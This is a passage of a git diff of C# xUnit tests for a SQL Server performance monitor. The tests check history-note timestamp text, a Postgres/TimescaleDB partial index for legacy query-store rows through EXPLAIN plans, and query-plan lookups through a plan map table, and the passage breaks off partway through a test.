     [InlineData(QueryStoreIntervalWide.WideStartBound.Window, true, Lead1 + "the servers in scope" + Lead2 + Clamp)]
     public void HistoryNote_IsExact_ForEveryBoundAndScope(QueryStoreIntervalWide.WideStartBound bound, bool manyServers, string expected) =>
-        Assert.Equal(expected, QueryStoreIntervalWide.HistoryNote(Start, bound, manyServers));
+        Assert.Equal(expected, QueryStoreIntervalWide.HistoryNote(StartText, bound, manyServers));
 
     [Fact]
     public void HistoryNote_NamesTheSettingServer_OnlyForManyServers()
     {
         var expected = Lead1 + "the servers in scope" + Lead2 + "The interval table began keeping complete history for alpha at " + StartText + ".";
-        Assert.Equal(expected, QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: true, settingServer: "alpha"));
+        Assert.Equal(expected, QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: true, settingServer: "alpha"));
         Assert.Equal(
-            QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: false),
-            QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: false, settingServer: "alpha"));
+            QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: false),
+            QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.FilledSince, manyServers: false, settingServer: "alpha"));
         /* The purge-edge and floor reasons name no server: the same text with or without one. */
         Assert.Equal(
-            QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true),
-            QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true, settingServer: "alpha"));
+            QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true),
+            QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true, settingServer: "alpha"));
     }
 
+    /// <summary>#4966: the sentence names the window's start in the one text <c>effective_start</c> prints (UTC, with
+    /// the Z), for an instant that came in naive, as the interval table's floor does. The web finds the instant in the
+    /// note by the field's exact text to show it in the browser's zone; a plain "o" of a naive instant has no Z, so it
+    /// found nothing and the note stayed in bare UTC above a grid of local times.</summary>
+    [Theory]
+    [MemberData(nameof(EveryBound))]
+    public void TheNote_NamesTheStartInTheTextEffectiveStartPrints_ForEveryBound(QueryStoreIntervalWide.WideStartBound bound)
+    {
+        var naive = new DateTime(2026, 8, 3, 12, 0, 0, DateTimeKind.Unspecified);
+        var printed = McpHelpers.FormatEffectiveStart(naive);
+        Assert.EndsWith("Z", printed, StringComparison.Ordinal);
+        /* Each surface formats the start where it calls the builder: the MCP top-queries table route, and Compose's panel. */
+        Assert.Contains(printed, DarlingMcpDataTools.QueryStoreTableNote(naive, bound), StringComparison.Ordinal);
+        Assert.Contains(printed, DarlingWebEndpoints.QueryStoreHistoryNote(naive, bound), StringComparison.Ordinal);
+    }
+
+    public static System.Collections.Generic.IEnumerable<object[]> EveryBound() =>
+        Enum.GetValues<QueryStoreIntervalWide.WideStartBound>().Select(b => new object[] { b });
+
     [Theory]
     [InlineData(QueryStoreIntervalWide.WideStartBound.Window, null)]
     [InlineData(QueryStoreIntervalWide.WideStartBound.RawFloor, null)]
@@ -88,7 +110,7 @@ public void BannerReason_IsExact_ForEveryBound(QueryStoreIntervalWide.WideStartB
     [Fact]
     public void ComposeForwarder_CarriesTheManyServersText() =>
         Assert.Equal(
-            QueryStoreIntervalWide.HistoryNote(Start, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true),
+            QueryStoreIntervalWide.HistoryNote(StartText, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge, manyServers: true),
             PerformanceMonitor.Darling.Service.DarlingWebEndpoints.QueryStoreHistoryNote(Start, QueryStoreIntervalWide.WideStartBound.TablePurgeEdge));
 
     /// <summary>The reason phrase is built from two halves so this file never matches its own scan, and the scan
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs
index 5bbcdf502a..39f55a0159 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// finds that migration by what it creates, not by today's version number, and asserts every constant still
 /// equals it.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class QueryStoreIntervalWideMinSchemaVersionPinTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/QueryStoreLegacyRowIndexLiveTests.cs b/Darling/Darling.Tests/QueryStoreLegacyRowIndexLiveTests.cs
new file mode 100644
index 0000000000..45fbda193f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreLegacyRowIndexLiveTests.cs
@@ -0,0 +1,369 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4972: the legacy-row check (<see cref="QueryStoreIntervalWide.HasLegacyRowSql"/>, clause 6 of
+/// <c>ReadsTableAsync</c>) gets an index read of the partial index
+/// <see cref="PgTableTuning.LegacyRowIndexName"/>, which the start-path tuning pass builds. Own scratch
+/// database per test.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres. */
+public sealed class QueryStoreLegacyRowIndexLiveTests
+{
+    private const int ServerA = 4972001;
+    private const int ServerB = 4972002;
+
+    private static readonly Regex NodeLabel = new(@"^\s*(->\s*)?(?<text>.+)$", RegexOptions.Compiled);
+
+    /// <summary>
+    /// Two servers' interval-stamped rows over three days, the older chunks compressed where TimescaleDB is
+    /// present. The shipped check, EXPLAINed with its real bound parameter types, reads the partial index
+    /// (Index Only Scan, Index Scan or Bitmap Index Scan) for every uncompressed chunk and never filters a heap scan on the NULL test; and it
+    /// answers false until a NULL-start row lands for one server.
+    /// </summary>
+    [Fact]
+    public async Task TheShippedCheck_PlansOnThePartialIndex_AndAnswersExactly()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the legacy-row index live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct);
+        if (timescaleEnabled)
+        {
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await Exec(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+            /* Narrow chunks so the three-day seed spans several, with the older ones compressible. */
+            await Exec(connection, "SELECT set_chunk_time_interval('collect.query_store_stats', INTERVAL '1 day')", ct);
+        }
+
+        /* A fixed anchor, 23:50 UTC on a fixed past day, not the wall clock. Chunks align to UTC midnight and
+           the newest chunk is the one left uncompressed, so a seed ending at the real "now" leaves that chunk
+           holding only the hours since midnight. A near-empty chunk is a single heap page, where the Index Only
+           Scan and the Seq Scan cost within a fraction of a point of each other (about 1.7 against 2.1), so a
+           little statistics or visibility-map drift can flip the plan. Ending at 23:50 gives it a full day. */
+        var utcNow = new DateTime(2026, 1, 15, 23, 50, 0, DateTimeKind.Unspecified);
+        var windowStart = utcNow.AddDays(-3);
+
+        /* Per-pass contiguous batches, one server after the other, every 30 minutes for three days. */
+        for (var pass = 143; pass >= 0; pass--)
+        {
+            var collectionTime = utcNow.AddMinutes(-2 - pass * 30);
+            await SeedPassAsync(connection, ServerA, collectionTime, 30, ct);
+            await SeedPassAsync(connection, ServerB, collectionTime, 30, ct);
+        }
+
+        var compressed = 0;
+        if (timescaleEnabled)
+        {
+            compressed = await CompressOlderChunksAsync(connection, ct);
+            Assert.True(compressed > 0, "no chunk was compressed; the compressed-chunk half of the pin did not run");
+            Assert.True(await CountChunksAsync(connection, compressedOnly: false, ct) > 0,
+                "every chunk was compressed; the uncompressed-chunk half of the pin did not run");
+        }
+
+        if (timescaleEnabled)
+        {
+            /* The uncompressed chunk is the one the plan assertion is about; keep it a realistic size so a seed
+               change cannot bring back the near-empty chunk, where a Seq Scan beats the index. */
+            await using var newest = new NpgsqlCommand(
+                "SELECT count(*) FROM collect.query_store_stats WHERE collection_time >= $1", connection);
+            newest.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = utcNow.Date });
+            var newestRows = Convert.ToInt64(await newest.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+            Assert.True(newestRows >= 1000,
+                "the newest (uncompressed) chunk holds only " + newestRows + " rows; it must be a realistic day, not a near-empty chunk");
+        }
+
+        await Exec(connection, "ANALYZE collect.query_store_stats", ct);
+
+        /* The production order: the upgraded store already holds data, compressed chunks included, when the
+           start-path tuning pass first builds the index. */
+        await PgTableTuning.ApplyAsync(connection, NullLogger.Instance, ct);
+
+        if (timescaleEnabled)
+        {
+            var sizes = await ChunkIndexSizesAsync(connection, compressedOnly: true, ct);
+            Assert.Equal(compressed, sizes.Count);
+            Assert.All(sizes, size => Assert.Equal(8192L, size));
+            Assert.Equal(0, await CompressedRelationIndexCountAsync(connection, ct));
+        }
+
+        var plan = await ExplainShippedCheckAsync(connection, ServerA, windowStart, utcNow, ct);
+        AssertPlanUsesThePartialIndex(plan, timescaleEnabled, compressed);
+
+        Assert.False(await RunShippedCheckAsync(connection, ServerA, windowStart, utcNow, ct));
+        Assert.False(await RunShippedCheckAsync(connection, ServerB, windowStart, utcNow, ct));
+
+        await InsertNullStartRowAsync(connection, ServerA, utcNow.AddMinutes(-10), ct);
+        Assert.True(await RunShippedCheckAsync(connection, ServerA, windowStart, utcNow, ct));
+        Assert.False(await RunShippedCheckAsync(connection, ServerB, windowStart, utcNow, ct));
+
+        if (timescaleEnabled)
+        {
+            /* Inheritance: a chunk created after the index existed carries it. */
+            var before = (await ChunkIndexSizesAsync(connection, compressedOnly: false, ct)).Count;
+            var chunksBefore = await CountChunksAsync(connection, compressedOnly: null, ct);
+            await SeedPassAsync(connection, ServerA, utcNow.AddDays(5), 1, ct);
+            Assert.Equal(chunksBefore + 1, await CountChunksAsync(connection, compressedOnly: null, ct));
+            Assert.Equal(before + 1, (await ChunkIndexSizesAsync(connection, compressedOnly: false, ct)).Count);
+        }
+    }
+
+    /// <summary>
+    /// The first start-path pass leaves the index with its exact definition and valid; the second-pass
+    /// no-CREATE-under-writers pin lives in <c>TuningHourlyCreateLiveTests</c>; and with the index dropped,
+    /// the hourly pass does not build it and warns once.
+    /// </summary>
+    [Fact]
+    public async Task TheStartPath_BuildsTheIndexOnce_AndTheHourlyPassNeverBuildsIt()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the legacy-row index live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        PgTableTuning.ResetHourlyMissingWarnings();
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+
+        await using (var def = new NpgsqlCommand(
+            "SELECT i.indisvalid, pg_get_indexdef(i.indexrelid) FROM pg_index i JOIN pg_class c ON c.oid = i.indexrelid "
+            + "JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'collect' AND c.relname = $1", body))
+        {
+            def.Parameters.AddWithValue(PgTableTuning.LegacyRowIndexName);
+            await using var reader = await def.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct), "the start path should have built the index");
+            Assert.True(reader.GetBoolean(0), "the index should be valid");
+            var text = reader.GetString(1);
+            Assert.Contains("ON collect.query_store_stats", text, StringComparison.Ordinal);
+            Assert.Contains("(server_id, collection_time)", text, StringComparison.Ordinal);
+            Assert.Contains("WHERE (interval_start_time_utc IS NULL)", text, StringComparison.Ordinal);
+        }
+
+        await Exec(body, "DROP INDEX collect." + PgTableTuning.LegacyRowIndexName, ct);
+        var logger = new CapturingTestLogger();
+        var hourly = await PgTableTuning.ApplyAsync(body, logger, hourly: true, ct);
+        Assert.Equal(PgTableTuning.Statements.Count - 1, hourly);
+        var warnings = logger.Lines.Where(l => l.StartsWith("Warning:", StringComparison.Ordinal)
+            && l.Contains(PgTableTuning.LegacyRowIndexName, StringComparison.Ordinal)
+            && l.Contains("collect.query_store_stats", StringComparison.Ordinal)).ToList();
+        Assert.True(warnings.Count == 1, "expected exactly one warning naming the index and its table: " + logger.Joined);
+        await using var exists = new NpgsqlCommand("SELECT 1 FROM pg_indexes WHERE schemaname = 'collect' AND indexname = $1", body);
+        exists.Parameters.AddWithValue(PgTableTuning.LegacyRowIndexName);
+        Assert.Null(await exists.ExecuteScalarAsync(ct));
+    }
+
+    private static void AssertPlanUsesThePartialIndex(string plan, bool timescaleEnabled, int compressedChunks)
+    {
+        var lines = plan.ReplaceLineEndings("\n").Split('\n', StringSplitOptions.RemoveEmptyEntries);
+        var nodes = new List<(string Label, List<string> Details)>();
+        foreach (var line in lines)
+        {
+            var text = NodeLabel.Match(line).Groups["text"].Value.TrimEnd();
+            var isDetail = text.Contains(": ", StringComparison.Ordinal) && !line.TrimStart().StartsWith("->", StringComparison.Ordinal)
+                && nodes.Count > 0;
+            if (isDetail)
+            {
+                nodes[^1].Details.Add(text);
+            }
+            else
+            {
+                nodes.Add((text, new List<string>()));
+            }
+        }
+
+        var scans = nodes.Where(n => n.Label.Contains("Scan", StringComparison.Ordinal)
+            && (n.Label.Contains("query_store_stats", StringComparison.Ordinal)
+                || n.Label.Contains("_hyper_", StringComparison.Ordinal))
+            && !n.Label.Contains("_compressed", StringComparison.Ordinal)).ToList();
+        Assert.True(scans.Count > 0, "no scan of query_store_stats found in the plan:\n" + plan);
+
+        /* Which index read the planner picks depends on visibility-map state and the platform; any read of
+           the partial index is the fix. A Bitmap Heap Scan counts when its child is a Bitmap Index Scan on it. */
+        var idx = PgTableTuning.LegacyRowIndexName;
+        /* Chunk indexes are renamed with the chunk's prefix, so the label carries the name, not starts with it. */
+        var indexReads = scans.Where(n => n.Label.Contains(idx, StringComparison.Ordinal)
+            && (n.Label.StartsWith("Index Only Scan using ", StringComparison.Ordinal)
+                || n.Label.StartsWith("Index Scan using ", StringComparison.Ordinal)
+                || n.Label.StartsWith("Bitmap Index Scan on ", StringComparison.Ordinal))).ToList();
+        Assert.True(indexReads.Count > 0, "no scan reads the partial index " + idx + ":\n" + plan);
+
+        foreach (var scan in scans)
+        {
+            var columnar = scan.Label.Contains("ColumnarScan", StringComparison.Ordinal);
+            var isIndexRead = indexReads.Contains(scan);
+            var isBitmapHeap = scan.Label.StartsWith("Bitmap Heap Scan on ", StringComparison.Ordinal)
+                && IsFollowedByBitmapIndexScan(nodes, scan, idx);
+            Assert.True(columnar || isIndexRead || isBitmapHeap, "a chunk is read by a heap scan instead of the partial index:\n" + plan);
+            /* A row Filter carrying the NULL test is the heap-filtered shape this index replaces. The columnar
+               scan's vectorized filter is a different line label and is fine. */
+            Assert.DoesNotContain(scan.Details, d => d.StartsWith("Filter:", StringComparison.Ordinal)
+                && d.Contains("interval_start_time_utc IS NULL", StringComparison.Ordinal));
+        }
+
+        if (timescaleEnabled && compressedChunks > 0)
+        {
+            Assert.Contains(scans, n => n.Label.Contains("ColumnarScan", StringComparison.Ordinal));
+        }
+    }
+
+    private static bool IsFollowedByBitmapIndexScan(List<(string Label, List<string> Details)> nodes, (string Label, List<string> Details) heap, string idx)
+    {
+        var at = nodes.IndexOf(heap);
+        return at >= 0 && at + 1 < nodes.Count
+            && nodes[at + 1].Label.StartsWith("Bitmap Index Scan on ", StringComparison.Ordinal)
+            && nodes[at + 1].Label.Contains(idx, StringComparison.Ordinal);
+    }
+
+    private static async Task<int> CountChunksAsync(NpgsqlConnection connection, bool? compressedOnly, CancellationToken ct)
+    {
+        var filter = compressedOnly switch { true => " AND is_compressed", false => " AND NOT is_compressed", _ => string.Empty };
+        await using var cmd = new NpgsqlCommand(
+            "SELECT count(*) FROM timescaledb_information.chunks WHERE hypertable_schema = 'collect' AND hypertable_name = 'query_store_stats'" + filter, connection);
+        return Convert.ToInt32(await cmd.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>Sizes of the partial index's copy on each chunk (compressed ones only, or all), from the catalog.</summary>
+    private static async Task<List<long>> ChunkIndexSizesAsync(NpgsqlConnection connection, bool compressedOnly, CancellationToken ct)
+    {
+        var sizes = new List<long>();
+        await using var cmd = new NpgsqlCommand(
+            "SELECT pg_relation_size(i.indexrelid) FROM timescaledb_information.chunks ch "
+            + "JOIN pg_class t ON t.relname = ch.chunk_name JOIN pg_namespace tn ON tn.oid = t.relnamespace AND tn.nspname = ch.chunk_schema "
+            + "JOIN pg_index i ON i.indrelid = t.oid "
+            + "WHERE ch.hypertable_schema = 'collect' AND ch.hypertable_name = 'query_store_stats' "
+            + "AND ($1 = false OR ch.is_compressed) "
+            + "AND pg_get_indexdef(i.indexrelid) LIKE '%WHERE (interval_start_time_utc IS NULL)'", connection);
+        cmd.Parameters.AddWithValue(compressedOnly);
+        await using var reader = await cmd.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            sizes.Add(reader.GetInt64(0));
+        }
+
+        return sizes;
+    }
+
+    private static async Task<int> CompressedRelationIndexCountAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(
+            "SELECT count(*) FROM pg_indexes WHERE (tablename LIKE '%\\_compressed%' OR tablename LIKE 'compress\\_hyper\\_%') "
+            + "AND indexdef LIKE '%interval_start_time_utc IS NULL%'", connection);
+        return Convert.ToInt32(await cmd.ExecuteScalarAsync(ct), System.Globalization.CultureInfo.InvariantCulture);
+    }
+
+    private static async Task<int> CompressOlderChunksAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await Exec(connection, "ALTER TABLE collect.query_store_stats SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", ct);
+        var chunks = new List<string>();
+        await using (var list = new NpgsqlCommand(
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks "
+            + "WHERE hypertable_schema = 'collect' AND hypertable_name = 'query_store_stats' AND NOT is_compressed "
+            + "ORDER BY range_end DESC OFFSET 1", connection))
+        await using (var reader = await list.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                chunks.Add(reader.GetString(0));
+            }
+        }
+
+        var done = 0;
+        foreach (var chunk in chunks)
+        {
+            await using var compress = new NpgsqlCommand("SELECT compress_chunk($1::regclass, if_not_compressed => true)", connection);
+            compress.Parameters.AddWithValue(chunk);
+            await compress.ExecuteNonQueryAsync(ct);
+            done++;
+        }
+
+        return done;
+    }
+
+    private static async Task SeedPassAsync(NpgsqlConnection connection, int serverId, DateTime collectionTime, int rows, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, "
+            + "execution_count, avg_duration_us, interval_start_time_utc) "
+            + "SELECT $1, $2, $3, 'legacy-row-index-e2e', 'db_' || (g % 4), 1000 + g, (1000 + g) * 10, 10 + g, 500 + g, $2 "
+            + "FROM generate_series(1, $4) AS g", connection);
+        insert.Parameters.AddWithValue(1L);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = collectionTime });
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(rows);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertNullStartRowAsync(NpgsqlConnection connection, int serverId, DateTime collectionTime, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, "
+            + "execution_count, avg_duration_us) VALUES ($1, $2, $3, 'legacy-row-index-e2e', 'db_0', 1, 10, 1, 1)", connection);
+        insert.Parameters.AddWithValue(1L);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = collectionTime });
+        insert.Parameters.AddWithValue(serverId);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static NpgsqlCommand BindShippedCheck(string sql, NpgsqlConnection connection, int serverId, DateTime start, DateTime end)
+    {
+        var command = new NpgsqlCommand(sql, connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(start, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(end, DateTimeKind.Unspecified) });
+        return command;
+    }
+
+    private static async Task<bool> RunShippedCheckAsync(NpgsqlConnection connection, int serverId, DateTime start, DateTime end, CancellationToken ct)
+    {
+        await using var command = BindShippedCheck(QueryStoreIntervalWide.HasLegacyRowSql, connection, serverId, start, end);
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task<string> ExplainShippedCheckAsync(NpgsqlConnection connection, int serverId, DateTime start, DateTime end, CancellationToken ct)
+    {
+        await using var command = BindShippedCheck("EXPLAIN (COSTS OFF) " + QueryStoreIntervalWide.HasLegacyRowSql, connection, serverId, start, end);
+        var lines = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            lines.Add(reader.GetString(0));
+        }
+
+        return string.Join("\n", lines);
+    }
+
+    private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStorePlanViaMapLiveTests.cs b/Darling/Darling.Tests/QueryStorePlanViaMapLiveTests.cs
new file mode 100644
index 0000000000..016f5683a0
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStorePlanViaMapLiveTests.cs
@@ -0,0 +1,363 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5257: the collector ships <c>query_store_stats.query_plan_text</c> as a NULL placeholder since #2210; the plan
+/// lives once in <c>query_plan_dim</c>, reached through <c>collect.query_store_plan_map</c>. The Service
+/// (<c>analyze_query_store_plan</c>) and Viewer readers must find a plan there, keep reading old inline rows, and
+/// treat a NULL-digest map row (a marker for a plan that will never exist) as absent.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class QueryStorePlanViaMapLiveTests
+{
+    private const string ServerName = "darling-qs-map-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string Db = "MapPlanDb";
+
+    private static string Plan(string label) =>
+        "<?xml version=\"1.0\" encoding=\"utf-16\"?>" +
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\" Version=\"1.539\" Build=\"16.0.1000.6\">" +
+        "<BatchSequence><Batch><Statements>" +
+        $"<StmtSimple StatementText=\"SELECT '{label}'\" StatementId=\"1\" StatementType=\"SELECT\" />" +
+        "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    private static readonly string TextPlan = Plan("map-text");
+    private static readonly string GzPlan = Plan("map-gz");
+    private static readonly string OlderPlan = Plan("map-older");
+    private static readonly string InlineOnly = Plan("inline-only");
+    private static readonly string InlineBehindMarker = Plan("inline-behind-marker");
+    private static readonly string MapNewer = Plan("map-newer");
+    private static readonly string InlineOlder = Plan("inline-older");
+    private static readonly string MapQ7 = Plan("map-q7");
+    private static readonly string OrphanDigestPlan = Plan("orphan-digest-no-dim-row");
+    private static readonly string InlineBehindOrphan = Plan("inline-behind-orphan");
+    private static readonly string Stale = Plan("map-stale-8d");
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void ViewerAndServiceReaders_ShareOneSqlShape_AndTheMapReadNeverTouchesTheFactTable()
+    {
+        static string Norm(string s) => string.Join(' ', s.Split((char[]?)null, StringSplitOptions.RemoveEmptyEntries));
+        Assert.Equal(Norm(DarlingStoredPlanReader.QueryStorePlanViaMapSql), Norm(ViewerDataService.QueryStorePlanViaMapSql));
+        foreach (var sql in new[] { DarlingStoredPlanReader.QueryStorePlanViaMapSql, ViewerDataService.QueryStorePlanViaMapSql })
+        {
+            Assert.Contains("FROM collect.query_store_plan_map", sql, StringComparison.Ordinal);
+            Assert.Contains("LEFT JOIN query_plan_dim", sql, StringComparison.Ordinal);
+            Assert.Contains("m.plan_id = $3", sql, StringComparison.Ordinal);
+            /* Two index lookups: the fact table is never read once a plan_id is known. */
+            Assert.DoesNotContain("query_store_stats", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheUnpinnedCandidateRead_IsTimeBounded_NewestFirst_WithAPlanIdTiebreak()
+    {
+        var bounded = DarlingStoredPlanReader.QueryStorePlanCandidatesSql;
+        Assert.Contains("collection_time >= $4", bounded, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY last_collected DESC, plan_id DESC", bounded, StringComparison.Ordinal);
+
+        var unbounded = DarlingStoredPlanReader.QueryStorePlanCandidatesUnboundedSql;
+        Assert.DoesNotContain("collection_time >=", unbounded, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY last_collected DESC, plan_id DESC", unbounded, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task BothReaders_FindMapOnlyPlans_ReadInlineRows_AndTreatMarkersAsAbsent_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live query-store plan-map test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        await using var viewer = new ViewerDataService(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Fixed anchors, never the wall clock. */
+            var t0 = new DateTime(2026, 3, 1, 12, 0, 0, DateTimeKind.Unspecified);
+            var t1 = t0.AddHours(1);
+
+            await RegisterServerAsync(connection, ct);
+
+            /* 1: text-stored plan. */
+            await InsertFactAsync(connection, t0, queryId: 1, planId: 11, inline: null, ct);
+            await InsertDimAsync(connection, TextPlan, gz: false, ct);
+            await InsertMapAsync(connection, 11, TextPlan, ct);
+
+            /* 2: gzip-stored plan. */
+            await InsertFactAsync(connection, t0, queryId: 2, planId: 21, inline: null, ct);
+            await InsertDimAsync(connection, GzPlan, gz: true, ct);
+            await InsertMapAsync(connection, 21, GzPlan, ct);
+
+            /* 3: an older real plan, then a newer plan_id whose map row is a NULL-digest marker. */
+            await InsertFactAsync(connection, t0, queryId: 3, planId: 31, inline: null, ct);
+            await InsertDimAsync(connection, OlderPlan, gz: false, ct);
+            await InsertMapAsync(connection, 31, OlderPlan, ct);
+            await InsertFactAsync(connection, t1, queryId: 3, planId: 32, inline: null, ct);
+            await InsertMapAsync(connection, 32, null, ct);
+
+            /* 4: an old row that carries the text inline and has no map row. */
+            await InsertFactAsync(connection, t0, queryId: 4, planId: 41, inline: InlineOnly, ct);
+
+            /* 5: a marker on the only plan_id, with the text still inline: the inline value answers. */
+            await InsertFactAsync(connection, t0, queryId: 5, planId: 51, inline: InlineBehindMarker, ct);
+            await InsertMapAsync(connection, 51, null, ct);
+
+            /* 6: an OLDER plan that lives inline and a NEWER plan that lives in the map, for one query. */
+            await InsertFactAsync(connection, t0, queryId: 6, planId: 61, inline: InlineOlder, ct);
+            await InsertFactAsync(connection, t1, queryId: 6, planId: 62, inline: null, ct);
+            await InsertDimAsync(connection, MapNewer, gz: false, ct);
+            await InsertMapAsync(connection, 62, MapNewer, ct);
+
